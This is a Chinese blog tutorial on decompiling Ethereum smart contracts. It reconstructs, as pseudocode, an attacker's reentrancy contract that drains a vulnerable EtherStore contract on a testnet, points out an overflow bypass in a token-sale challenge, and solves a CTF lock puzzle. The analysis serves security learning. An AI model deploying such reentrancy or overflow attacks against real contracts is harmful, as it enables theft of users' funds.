逆向分析初探

Posted by Thomas_Xu on 2022-12-17

author:Thomas_Xu

逆向分析

区块链上所有的数据都是公开透明的,所以合约的代码也都是公开的。但是其实它公开的都是经过编译的OPCODE,真正的源代码公开与否就得看发布合约的人了。

如果要真正的掌握一个合约会干什么,就得从OPCODE逆向成solidity代码。

工欲善其事,必先利其器solidity智能合约逆向工具推荐:https://ethervm.io/decompile

https://contract-library.com/

https://github.com/crytic/ida-evm

https://github.com/comaeio/porosity

https://github.com/meyer9/ethdasm

这里我选择工具 https://ethervm.io/decompile

尽量选择把合约部署到链上后使用地址的方式去逆向,否则可能只会得到合约的Disassembly结果。

重入事件逆向分析

本文选择测试网络进行一次重入漏洞攻击复现的逆向分析。

漏洞合约地址:Contract Address 0x8872be6d31f2ec0169e5e3e69e5cae8823d358af | Etherscan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.17;
contract EtherStore{
uint256 public withdrawaLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {// 该函数存在重入漏洞,具体原因是使用call函数转账,且call函数转账发生在合约状态更新之前
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawaLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}

通过查询合约内部交易可以发现

可疑地址 0x2409fE8CCabe32F7AEbA8b34DA111A990b5A3E40

交易哈希 0x80270b685344fc5005f4969ef6bd545a614cd6e2fc92b9508cfed5266368062f

通过分析imput Data可以发现攻击者应该是调用0x6289d385这个函数进行攻击的。

接下来对攻击合约OPOCDE进行逆向分析

逆向结果:

得到的伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;

if (msg.data.length < 0x04) {
label_0057:


if (address(storage[0x00] &
0xffffffffffffffffffffffffffffffffffffffff).balance <=
0x0de0b6b3a7640000) { stop(); }

var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
var var1 = 0x155dd5ee;
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
memory[temp1:temp1 + 0x20] = 0x0de0b6b3a7640000;
var var2 = temp1 + 0x20;
var var3 = 0x00;
var var4 = memory[0x40:0x60];
var var5 = var2 - var4;
var var6 = var4;
var var7 = 0x00;
var var8 = var0;
var var9 = !address(var8).code.length;

if (var9) { revert(memory[0x00:0x00]); }

var temp2;
temp2, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
var3 = !temp2;

if (!var3) { stop(); }

var temp3 = returndata.length;
memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
revert(memory[0x00:0x00 + returndata.length]);
} else {
var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;

if (var0 == 0x6289d385) {
// Dispatch table entry for 0x6289d385 (unknown)
var1 = 0x015a;
func_01CA();
stop();
} else if (var0 == 0xacd2e6e5) {
// Dispatch table entry for 0xacd2e6e5 (unknown)
var1 = msg.value;

if (var1) { revert(memory[0x00:0x00]); }

var1 = 0x0171;
var2 = func_0339();
var temp4 = memory[0x40:0x60];
memory[temp4:temp4 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp5 = memory[0x40:0x60];
return memory[temp5:temp5 + (temp4 + 0x20) - temp5];
} else if (var0 == 0xff11e1db) {
// Dispatch table entry for collectEther()
var1 = msg.value;

if (var1) { revert(memory[0x00:0x00]); }

var1 = 0x01c8;
collectEther();
stop();
} else { goto label_0057; }
}
}

function func_01CA() {
if (msg.value < 0x0de0b6b3a7640000) { revert(memory[0x00:0x00]); }

var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
var var1 = 0xe2c41dbc;
var var2 = 0x0de0b6b3a7640000;
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var var3 = temp0 + 0x04;
var var4 = 0x00;
var var5 = memory[0x40:0x60];
var var6 = var3 - var5;
var var7 = var5;
var var8 = var2;
var var9 = var0;
var var10 = !address(var9).code.length;

if (var10) { revert(memory[0x00:0x00]); }

var temp1;
temp1, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
var4 = !temp1;

if (!var4) {
var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
var1 = 0x155dd5ee;
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp3 = temp2 + 0x04;
memory[temp3:temp3 + 0x20] = 0x0de0b6b3a7640000;
var2 = temp3 + 0x20;
var3 = 0x00;
var4 = memory[0x40:0x60];
var5 = var2 - var4;
var6 = var4;
var7 = 0x00;
var8 = var0;
var9 = !address(var8).code.length;

if (var9) { revert(memory[0x00:0x00]); }

var temp4;
temp4, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
var3 = !temp4;

if (!var3) { return; }

var temp5 = returndata.length;
memory[0x00:0x00 + temp5] = returndata[0x00:0x00 + temp5];
revert(memory[0x00:0x00 + returndata.length]);
} else {
var temp6 = returndata.length;
memory[0x00:0x00 + temp6] = returndata[0x00:0x00 + temp6];
revert(memory[0x00:0x00 + returndata.length]);
}
}

function func_0339() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }

function collectEther() {
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
var temp2;

temp2, memory[temp1:temp1 + 0x00] =
address(msg.sender).call.gas(!temp0 *
0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
var var0 = !temp2;

if (!var0) { return; }

var temp3 = returndata.length;
memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
revert(memory[0x00:0x00 + returndata.length]);
}
}
主函数

接下来,先从主函数开始分析:

主函数是合约在每次被调用时都会被执行的函数,此函数只存在于底层逻辑中,是函数调用的关键,可以理解为“转接电话”的功能。

开辟空间:

1
memory[0x40:0x60] = 0x80;

如果消息发送者携带消息长度小于0x04执行后面的内容,一般是回退函数

1
if (msg.data.length < 0x04){

地址余额小于等于 1eth 停止执行

1
if (address(storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff).balance <= 0x0de0b6b3a7640000) { stop(); }

接下来一段主要设置后续操作需要的信息,主要内容有 地址、需要调用的函数签名、1eth值、地址空代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;//地址
var var1 = 0x155dd5ee;//需要调用的函数签名
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
memory[temp1:temp1 + 0x20] = 0x0de0b6b3a7640000;//1eth值
var var2 = temp1 + 0x20;
var var3 = 0x00;
var var4 = memory[0x40:0x60];
var var5 = var2 - var4;
var var6 = var4;
var var7 = 0x00;
var var8 = var0;
var var9 = !address(var8).code.length;//地址空代码

对地址是否为空代码的判断,如果是回滚初始状态

1
if (var9) { revert(memory[0x00:0x00]); }

向地址发送值为1eth的 0x155dd5ee 函数调用信息,并返回信息

1
2
3
4
5
6
7
8
9
var temp2;
temp2, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
var3 = !temp2;

if (!var3) { stop(); }

var temp3 = returndata.length;
memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
revert(memory[0x00:0x00 + returndata.length]);

接收消息调用者携带的信息

1
2
else {
var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;

后面的代码内容基本就是通过消息调用者携带的信息判断调用的函数,其中没有if (var1) { revert(memory[0x00:0x00]); } 的函数能接收以太币。

函数func_01CA()

消息调用者携带的金额价值小于 1eth 回滚初始状态

1
if (msg.value < 0x0de0b6b3a7640000) { revert(memory[0x00:0x00]); }

接下来的代码与回退函数内容极其相似就是调用函数,从内容上看这次它调用了两个函数分别是0xe2c41dbc0x155dd5ee

在调用 0xe2c41dbc 函数的时候信息 value 1eth data 0

在调用 0x155dd5ee 函数的时候信息 value 0 data 1eth

最后返回调用信息。

函数func_0339()

返回地址信息

1
return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
函数collectEther()

设置信息,该合约余额 、新空间

1
2
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];

向消息调用者发送该合约余额,注意这里对gas做了限制 (!temp0 * 0x08fc) 其实这里包括后面的代码就是transfer()的功能

1
2
3
4
5
6
  temp2, memory[temp1:temp1 + 0x00] = 
address(msg.sender).call.gas(!temp0 *
0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
var var0 = !temp2;

if (!var0) { return; }

最后返回调用信息。

还原代码

我们可以通过 https://www.4byte.directory/ 在线查询 函数签名对应的函数名称,有助于我们理解函数

还原后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract At{

function func_0339() public returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }

function func_01CA() public payable{
require(msg.value >= 1 ether);
storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.depositFunds.value(1 ether)();
storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.withdrawFunds(1 ether);
}

function collectEther() public {
msg.sender.transfer(this.balance);
}

function () payable {
if (storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.balance > 1 ether) {
storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.withdrawFunds(1 eth);
}
}
}

storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff 其实等价于漏洞合约地址0x8872bE6d31F2Ec0169e5E3E69e5CAe8823d358aF

0x03 综合分析

总结攻击流程

第一阶段 黑客调用 func_01CA函数,

func_01CA函数作用:

1.向漏洞合约的 depositFunds函数发送 1eth

2.向漏洞合约的 withdrawFunds函数发出撤走 1eth 的请求

第二阶段 当漏洞合约的 withdrawFunds函数 进入到发送金额的时候 由于使用的是 call 函数 转账,会附加”所有可用 gas”,并触发攻击合约的 fallback函数

第三阶段 当攻击合约的 fallback函数 被触发后,首先会对漏洞合约的余额进行判断,如果大于 1eth 就重新调用漏洞合约的 withdrawFunds函数 ,由于withdrawFunds函数最后两步才会减去msg.sender对应的余额并记录,导致fallback函数发起的调用withdrawFunds函数的信息require判断都能通过,直到漏洞合约的余额小于等于 1eth。

第四阶段 黑客调用 collectEther函数 取走攻击合约余额。

练手1

1
2
3
4
5
6
7
8
9
10
11
12
contract Demo {
uint256 private c;

function a() public returns (uint256) { factorial(2); }
function b() public { c++; }

function factorial(uint n) internal returns (uint256) {
if (n <= 1) { return 1; }

return n * factorial(n - 1);
}
}

得到的伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;

if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;

if (var0 == 0x0dbe671f) {
// Dispatch table entry for a()
var var1 = msg.value;

if (var1) { revert(memory[0x00:0x00]); }

var1 = 0x60;
var1 = a();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var1;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0x4df7e3d0) {
// Dispatch table entry for b()
var1 = msg.value;

if (var1) { revert(memory[0x00:0x00]); }

var1 = 0x88;
b();
stop();
} else { revert(memory[0x00:0x00]); }
}

function a() returns (var r0) {
var var0 = 0x00;
var var1 = 0x94;
var var2 = 0x02;
var1 = func_00AB(var2);
return var0;
}

function b() {
storage[0x00] = storage[0x00] + 0x01;
}

function func_00AB(var arg0) returns (var r0) {
var var0 = 0x00;

if (arg0 > 0x01) {
var var1 = 0xc8;
var var2 = arg0 - 0x01;
var1 = func_00AB(var2);
var0 = arg0 * var1;

label_00CD:
return var0;
} else {
var0 = 0x01;
goto label_00CD;
}
}
}

因为这个合约很简单,所以这个伪代码也不难。

开辟空间

1
memory[0x40:0x60] = 0x80;

检查输入的的data是不是符合函数签名:

1
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

这里我们不需要知道内部原理,只需要知道这样得到的var0是函数4个bytes的签名即可

1
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;

后面的代码都是根据var0的函数签名选择调用哪个函数

尝试着写出还原后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract gogogo{
function a() public returns(uint) {
func_009E(2)
return 0
}
function b()public {
storage[0x00] += 0x01;
return 0;//和stop()等价
}
function func_009E( arg0) returns ( r0){
if(arg0<=1) {
return 1;
}
return arg0*func_009E(arg0-1)
}
}

练手2

一个有漏洞的合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}

反编译后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;

if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;

if (var0 == 0x70a08231) {
// Dispatch table entry for balanceOf(address)
var var1 = msg.value;

if (var1) { revert(memory[0x00:0x00]); }

var1 = 0x00a8;
var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balanceOf(var2);
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var2;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0xb2fa1c9e) {
// Dispatch table entry for isComplete()
var1 = msg.value;

if (var1) { revert(memory[0x00:0x00]); }

var1 = 0x00d3;
var1 = isComplete();
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x20] = !!var1;
var temp3 = memory[0x40:0x60];
return memory[temp3:temp3 + (temp2 + 0x20) - temp3];
} else if (var0 == 0xd96a094a) {
// Dispatch table entry for buy(uint256)
var1 = 0x010b;
var2 = msg.data[0x04:0x24];
buy(var2);
stop();
} else if (var0 == 0xe4849b32) {
// Dispatch table entry for sell(uint256)
var1 = msg.value;

if (var1) { revert(memory[0x00:0x00]); }

var1 = 0x0138;
var2 = msg.data[0x04:0x24];
sell(var2);
stop();
} else { revert(memory[0x00:0x00]); }
}

function balanceOf(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}

function isComplete() returns (var r0) { return address(this).balance < 0x0a; }

function buy(var arg0) {
if (msg.value != arg0 * 0x0a) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + arg0;
}

function sell(var arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;

if (storage[keccak256(memory[0x00:0x40])] < arg0) { revert(memory[0x00:0x00]); }

var temp0 = arg0;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] - temp0;
var temp2 = temp0 * 0x0a;
var temp3 = memory[0x40:0x60];
var temp4;
temp4, memory[temp3:temp3 + 0x00] = address(msg.sender).call.gas(!temp2 * 0x08fc).value(temp2)(memory[temp3:temp3 + memory[0x40:0x60] - temp3]);
var var0 = !temp4;

if (!var0) { return; }

var temp5 = returndata.length;
memory[0x00:0x00 + temp5] = returndata[0x00:0x00 + temp5];
revert(memory[0x00:0x00 + returndata.length]);
}
}

首先看balanceOf(address),这里需要知道映射的储存方式,映射mapping 中的键 k 所对应的值会位于 keccak256(k.p), 其中 . 是连接符。

通过var2在定义的时候& 0xffffffffffffffffffffffffffffffffffffffff可以确定var2是address类型(160位),传入balanceOf()后可以发现返回storage[keccak256(address+0x00)],从+0x00可以看出来这就是最开始就定义的从地址到某个类型(分析其他地方可得出)的映射。

isComplete()非常明了了,直接跳过。

buy(arg0)第一行明显要我们传入 arg0 数量的 ether 进去,这里可以还原成require()
下面的代码把arg0加到上面的映射中。再结合函数名(这次运气好函数名都有)可以猜出这个合约到底要干啥了。

sell()里要注意的是 memory[temp3:temp3 + 0x00] = address(temp0).call.gas(!temp4 * 0x08fc).value(temp4)(memory[temp3:temp3 + 0x00]);这一行包括下面的代码都是代表一个transfer(),因为transfer要处理返回值,所以分开写看起来比较多。这里我们可以看到安全的transfer也是通过.call.value来实现的,只不过对gas做了严格控制,杜绝重入漏洞。
试着写一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract gogogo{

function balanceOf(address add)public returns (){
return storage[keccak256(add+0x00)];
//映射的储存方法
//也就是 mapping(address => uint256) public balanceOf;
}
function isComplete(){
return address(this).balance < 1 ether;
}
function buy( arg0)public {
require(msg.value==arg0*1 ether);
mapping[msg.sender] += arg0;
}
function sell( arg0)public{
require(mapping[msg.sender]>=arg0)
mapping[msg.sender] -=arg0;
msg.sender.transfer(arg0 * 1 ehter);
}
}

最后说一下,这段代码是有个溢出漏洞,在require(msg.value==arg0*1 ether);处,可以绕过。

实操

一道没有源码的逆向题The Lock,已知信息:解锁这个合约就胜利,函数签名unlock(bytes4 pincode),每次尝试支付0.5 ehter。

反编译后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
contract Contract {
function main() {
memory[0x40:0x60] = 0x60;

if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;

if (var0 == 0x6a5e2650) {
// Dispatch table entry for unlocked()
if (msg.value) { revert(memory[0x00:0x00]); }

var var1 = 0x0064;
var var2 = unlocked();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = !!var2;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0x75a4e3a0) {
// Dispatch table entry for 0x75a4e3a0 (unknown)
//unlock(bytes4)
var1 = 0x00b3;
var2 = msg.data[0x04:0x24] & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
var1 = func_00DF(var2);
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x20] = !!var1;
var temp3 = memory[0x40:0x60];
return memory[temp3:temp3 + (temp2 + 0x20) - temp3];
} else { revert(memory[0x00:0x00]); }
}

function unlocked() returns (var r0) { return storage[0x00] & 0xff; }
//unlock(bytes4 )
function func_00DF(var arg0) returns (var r0) {
var var0 = 0x00;
var var1 = var0;
var var2 = 0x00;
var var3 = var2;
var var4 = 0x00;
var var5 = var4;

if (msg.value < 0x06f05b59d3b20000) { revert(memory[0x00:0x00]); }

var3 = 0x00;

if (var3 & 0xff >= 0x04) {
label_01A4:

if (var2 != var1) { return 0x00; }

storage[0x00] = (storage[0x00] & ~0xff) | 0x01;
return 0x01;
} else {
label_0111:
var var6 = arg0;
var var7 = var3 & 0xff;//0x00

if (var7 >= 0x04) { assert(); }

var4 = (byte(var6, var7) * 0x0100000000000000000000000000000000000000000000000000000000000000) / 0x0100000000000000000000000000000000000000000000000000000000000000;
var6 = var4 >= 0x30;

if (!var6) {
if (!var6) {
label_0197:
var3 = var3 + 0x01;

label_0104:

if (var3 & 0xff >= 0x04) { goto label_01A4; }
else { goto label_0111; }
} else {
label_0181:
var temp0 = var4 - 0x30;
var5 = temp0;
var2 = var2 + var5 ** 0x04;
var1 = var1 * 0x0a + var5;
var3 = var3 + 0x01;
goto label_0104;
}
} else if (var4 > 0x39) { goto label_0197; }
else { goto label_0181; }
}
}
}

先修正一个错误!反编译后的byte(var6, var7)里两个参数的位置是错误的,byte(var7, var6)应该是这样.这个地方搞了我好久,但是人家也标注了工具是”experimental”性质的嘛。byte()的作用是把栈顶替换成栈顶下面一个元素的第栈顶值个字节的值。byte()的作用

整体看下来目的比较明确,就是要通过func_00DF(var arg0)函数把storage[0x00]改为1,使unlocked()返回1即可。,发现进入label_104代码段后会进入一个大循环。

在循环中,开门先判断 var7>=4 ,下面又使var4为输入的第var7个字节。var6判断这个字节是不是大于0x30,可以猜出来出来0x30是0的ASCII码,应该有点关系。发现当var6为1时,会判断var4是否大于0x39,这不就是9的ascii码么.然后我们从label_0197开始看,发现如果不符合要求var3自加一后会继续循环,直到它为4时进入可以改变storage[0x00]的代码段。再看一下label_0181代码段,这里就是把提取出的单字节字符转换成数字后,var2加上它的4次方,var1加上它的10倍。
分析到这里,就可以试着写一下大致逻辑了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract gogogo{
uint8 isunLocke;
function unlocked() public {
return isunLocke;
}
function unlock(arg0) payable public{
require(msg.sender.value>=0.5 ether);
for(i = 0; i < 4; i++ ){
chr = byte(i,arg0)
if(chr < 0x30 || chr > 0x39 ){
continue;
}
number = chr - 0x30 //字符转数字
var2 = var2 + number**4
var1 = var1 + number*10
}
if(var2 != var1){
return
}
isunLocke = 1;
//(0 & ~0xff) | 0x01
//1
}
}

可以看出,我们要提供各位4次方之和为它本身的数字。稍稍爆破一下就有1634可以满足


notice

true

This is copyright.

...

...

00:00
00:00